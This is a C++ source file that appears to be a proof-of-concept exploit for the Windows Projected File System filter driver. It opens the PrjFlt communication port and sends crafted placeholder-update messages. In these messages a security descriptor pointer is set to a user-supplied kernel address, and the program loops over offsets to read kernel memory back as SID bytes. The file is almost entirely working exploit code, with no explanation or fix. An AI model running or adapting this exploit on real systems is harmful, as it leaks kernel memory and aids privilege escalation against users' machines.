// FltTest.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include #include #include #pragma comment(lib, "projectedfslib.lib") #include #pragma comment(lib, "FltLib.lib") #include #pragma comment(lib, "Advapi32.lib") PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; WCHAR gszWindowsDrive[MAX_PATH + 1]; WCHAR gszRootDir[MAX_PATH + 1]; LPCWSTR gszRootName = L"virtRoot"; DWORD64 gdwTargetAddress = 0; struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT { GUID virtualizationInstanceID; unsigned int Version; USHORT VolumeLength; WCHAR szVolume[256]; }; void PrintInstanceId() { PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); if (FAILED(hr)) { wprintf(L"Failed to create instance ID (0x%08x)\n", hr); return; } OLECHAR* guidString; StringFromCLSID(InstanceInfo.InstanceID, &guidString); wprintf(L"InstanceId: %s\n", guidString); LPCOLESTR lpsz = guidString; GUID InstanceId; hr = CLSIDFromString(lpsz, &InstanceId); if (FAILED(hr)) { wprintf(L"Failed to create instance ID (0x%08x)\n", hr); return; } CoTaskMemFree(guidString); } LONG DeleteDirectory(LPCWSTR szDir) { SHFILEOPSTRUCTW fos = { 0 }; // delete the folder and everything inside fos.wFunc = FO_DELETE; fos.pFrom = szDir; fos.fFlags = FOF_NO_UI; return SHFileOperation(&fos); } void CreateVirtualizationRoot() { HRESULT hr; const wchar_t* rootName = gszRootDir; DeleteDirectory(rootName); RemoveDirectoryW(rootName); if (!CreateDirectoryW(rootName, nullptr)) { hr = HRESULT_FROM_WIN32(GetLastError()); wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); return; } GUID instanceId; hr = CoCreateGuid(&instanceId); if (FAILED(hr)) { wprintf(L"Failed to create instance ID (0x%08x)\n", hr); return; } hr = PrjMarkDirectoryAsPlaceholder(rootName, nullptr, nullptr, &instanceId); if (FAILED(hr)) { wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); return; } } HRESULT MyStartEnumCallback( const PRJ_CALLBACK_DATA* callbackData, const GUID* enumerationId ) { return S_OK; } HRESULT MyEndEnumCallback( const PRJ_CALLBACK_DATA* callbackData, const GUID* enumerationId ) { return S_OK; } HRESULT MyGetEnumCallback( const PRJ_CALLBACK_DATA* callbackData, const GUID* enumerationId, PCWSTR searchExpression, PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle ) { return S_OK; } HRESULT MyGetPlaceholderInfoCallback( const PRJ_CALLBACK_DATA* callbackData ) { //getchar(); return S_OK; } HRESULT MyGetFileDataCallback( const PRJ_CALLBACK_DATA* callbackData, UINT64 byteOffset, UINT32 length ) { return S_OK; } void StartVirtualizatioInstance() { PRJ_CALLBACKS callbackTable; // Supply required callbacks. callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback; callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback; callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback; callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback; callbackTable.GetFileDataCallback = MyGetFileDataCallback; // The rest of the callbacks are optional. callbackTable.QueryFileNameCallback = nullptr; callbackTable.NotificationCallback = nullptr; callbackTable.CancelCommandCallback = nullptr; HRESULT hr; const wchar_t* rootName = gszRootDir; PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; hr = PrjStartVirtualizing(rootName, &callbackTable, nullptr, nullptr, &instanceHandle); if (FAILED(hr)) { wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); return; } gInstanceHandle = instanceHandle; } struct _PRJ_MSG_IN_HEADER { int MessageType; int InputBufferSize; }; struct _PRJ_VIR_INSTANCE_INFO { GUID virtualizationInstanceID; int Tag; }; struct _PRJ_FILE_BASIC_INFO { BOOLEAN IsDirectory; INT64 FileSize; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; UINT32 FileAttributes; }; enum _PRJ_UPDATE_TYPES { PRJ_UPDATE_ALLOW_PLACEHOLDER = 0x8, PRJ_UPDATE_ALLOW_HARDLINK = 0x10, }; struct _PRJ_PLACEHOLDER_INFO { _PRJ_FILE_BASIC_INFO BasicInfo; ULONG EaLength; ULONG EaBufferOffset; ULONG SdLength; ULONG SdOffset; int _48; int _4c; PRJ_PLACEHOLDER_VERSION_INFO VersionInfo; //char EaBuffer[0xf]; //char SecurityDescriptor[1]; _SECURITY_DESCRIPTOR SecurityDescriptor; }; struct __declspec(align(2)) _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA { ULONG DataSize; int InfoType; _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; char _1c[60]; ULONG RelPathOffset; USHORT RelPathLength; ULONG InfoOffset; ULONG InfoSize; ULONG SymlinkSubstituteNameBufferOffset; ULONG SymlinkPrintNameBufferOffset; USHORT SymlinkSubstituteNameLength; USHORT SymlinkPrintNameLength; int BitMap; WCHAR RelBuffer[0x100/2]; _PRJ_PLACEHOLDER_INFO PlaceholderInfo; WCHAR SymlinkSubstituteName[0x100]; }; struct _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER { _PRJ_MSG_IN_HEADER Header; _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA Data; }; struct _PRJ_MSG_OUT_HEADER { int MessageType; int Size; int Status; char Data[256]; }; int GetSidSize(_SID* Sid) { int Size = 8 + Sid->SubAuthorityCount * 4; return Size; } void PrintSid(_SID* Sid) { int Size = GetSidSize(Sid); printf("Size: 0x%02x\n", Size); char* buf = (char*)Sid; for (int i = 0; i < Size; i++) { if (i != 0 && i % 8 == 0 && i % 16 != 0) { printf("-"); } else if (i > 0) { printf(" "); } if (i % 16 == 0 && i != 0) { printf("\n"); } printf("%02x", (unsigned)(unsigned char)buf[i]); } printf("\n"); } void PrintAcl(ACL* Acl) { int Size = Acl->AclSize; printf("Size: 0x%02x\n", Size); char* buf = (char*)Acl; for (int i = 0; i < Size; i++) { if (i != 0 && i % 8 == 0 && i % 16 != 0) { printf("-"); } else if (i > 0) { printf(" "); } if (i % 16 == 0 && i != 0) { printf("\n"); } printf("%02x", (unsigned)(unsigned char)buf[i]); } printf("\n"); } void PrintFileSd(LPCWSTR szFilePath, SECURITY_INFORMATION SecurityInfo) { PSID psidOwner = NULL; PSID psidGroup = NULL; PACL pDacl = NULL; PACL pSacl = NULL; PSECURITY_DESCRIPTOR pSecurityDescriptor = NULL; DWORD dwResult = GetNamedSecurityInfoW(szFilePath, SE_FILE_OBJECT, SecurityInfo, &psidOwner, &psidGroup, &pDacl, &pSacl, &pSecurityDescriptor ); if (dwResult != 0) { printf("PrintFileSd: GetNamedSecurityInfoW dwResult:%x\n", dwResult); getchar(); return; } if (psidGroup) { PrintSid((_SID*)psidGroup); } else if(SecurityInfo & GROUP_SECURITY_INFORMATION){ printf("PrintFileSd: returned psidGroup is NULL.\n", dwResult); getchar(); } if (psidOwner) { PrintSid((_SID*)psidOwner); } if (pDacl) { PrintAcl(pDacl); } if (pSacl) { PrintAcl(pDacl); } Sleep(300); } void PrjfWritePlaceholderInformationHandler() { CreateVirtualizationRoot(); StartVirtualizatioInstance(); PrintInstanceId(); HANDLE hPort = NULL; PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); if (FAILED(hr)) { wprintf(L"Failed to create instance ID (0x%08x)\n", hr); return; } GUID InstanceId = InstanceInfo.InstanceID; _PRJ_CONNECTION_CONTEXT Context; Context.VolumeLength = 0x100; Context.Version = 1; Context.virtualizationInstanceID = InstanceId; //wcscpy_s(Context.szVolume, L"\\Device\\HarddiskVolume2"); wcscpy_s(Context.szVolume, gszWindowsDrive); ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); DWORD InputBufferLength = 0x1000; PVOID InputBuffer = malloc(InputBufferLength); DWORD OutputBufferLength = 0x1000; PVOID OutputBuffer = malloc(OutputBufferLength); memset(InputBuffer, 0, InputBufferLength); memset(OutputBuffer, 0, OutputBufferLength); DWORD BytesReturned = 0; _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER Message = { 0 }; memset(&Message, 0, sizeof(Message)); Message.Header.MessageType = 3; Message.Header.InputBufferSize = sizeof(Message); Message.Data.DataSize = sizeof(_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_IN_DATA); Message.Data.InfoType = PRJ_UPDATE_ALLOW_PLACEHOLDER; Message.Data.VirInstanceInfo.Tag = 0x9000001C; Message.Data.VirInstanceInfo.virtualizationInstanceID = InstanceId; Message.Data.RelPathOffset = 0x78; Message.Data.RelPathLength = 0x100; Message.Data.InfoOffset = 0x78 + 0x100; Message.Data.InfoSize = sizeof(_PRJ_PLACEHOLDER_INFO); Message.Data.PlaceholderInfo.SdOffset = 0x150; Message.Data.PlaceholderInfo.SdLength = 1; Message.Data.PlaceholderInfo.SecurityDescriptor.Revision = 1; Message.Data.RelBuffer[0] = L'0'; memcpy(InputBuffer, &Message, sizeof(Message)); InputBufferLength = Message.Header.InputBufferSize; DWORD64 BaseAddr = gdwTargetAddress; DWORD64 TargetAddr = BaseAddr; int FileIndex = 0; WCHAR szFilePath[MAX_PATH + 1] = { 0 }; int Offset = 0; printf("BaseAddress: 0x%I64x\n", BaseAddr); //SECURITY_INFORMATION SecurityInfo = OWNER_SECURITY_INFORMATION; SECURITY_INFORMATION SecurityInfo = GROUP_SECURITY_INFORMATION; //SECURITY_INFORMATION SecurityInfo = DACL_SECURITY_INFORMATION; //SECURITY_INFORMATION SecurityInfo = SACL_SECURITY_INFORMATION; while (1) { TargetAddr = BaseAddr + Offset; _PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER* pMessage = (_PRJ_MSG_WRITE_OR_UPDATE_PLACEHOLDER_INFO_BUFFER*)InputBuffer; //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Owner = (PSID)TargetAddr; //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_GROUP_DEFAULTED; pMessage->Data.PlaceholderInfo.SecurityDescriptor.Group = (PSID)TargetAddr; //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Dacl = (PACL)TargetAddr; //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_DACL_PRESENT; //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Sacl = (PACL)TargetAddr; //pMessage->Data.PlaceholderInfo.SecurityDescriptor.Control = SE_SACL_PRESENT; hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); _PRJ_MSG_OUT_HEADER* pOutData = (_PRJ_MSG_OUT_HEADER*)OutputBuffer; if (hResult != 0) { printf("PrjfWritePlaceholderInformationHandler FilterSendMessage hResult:%x\n", hResult); getchar(); } else { //printf("PrjfWritePlaceholderInformationHandler Status:%x\n", pOutData->Status); if (pOutData->Status == 0) { swprintf(szFilePath, MAX_PATH, L"%ls\\%ls", gszRootDir, pMessage->Data.RelBuffer); memset(pMessage->Data.RelBuffer, 0, 0x50); swprintf(pMessage->Data.RelBuffer, 0x50, L"%x", ++FileIndex); printf("\nTargetAddr: 0x%I64x\tOffset: 0x%x\t", TargetAddr, Offset); PrintFileSd(szFilePath, SecurityInfo); } else { printf("?"); } } Offset++; } } bool gbDebugging = false; void Prepare(int argc, WCHAR* argv[]) { GetWindowsDirectoryW(gszWindowsDrive, MAX_PATH); gszWindowsDrive[2] = 0; swprintf(gszRootDir, MAX_PATH, L"%s\\%s", gszWindowsDrive, gszRootName); if (gbDebugging) { gdwTargetAddress = 0xfffff802b5c00000; return; } if (argc < 2) { printf("Please input a kernel address as target in commandline, like 0xfffff803ca400000.\n"); getchar(); exit(1); } if (swscanf_s(argv[1], L"%I64x", &gdwTargetAddress) != 1) { printf("Failed to convert gdwTargetAddress from \"%ls\", please input a hex address.\n", argv[1]); getchar(); exit(1); } } int wmain(int argc, WCHAR* argv[]) { Prepare(argc, argv); PrjfWritePlaceholderInformationHandler(); return 0; }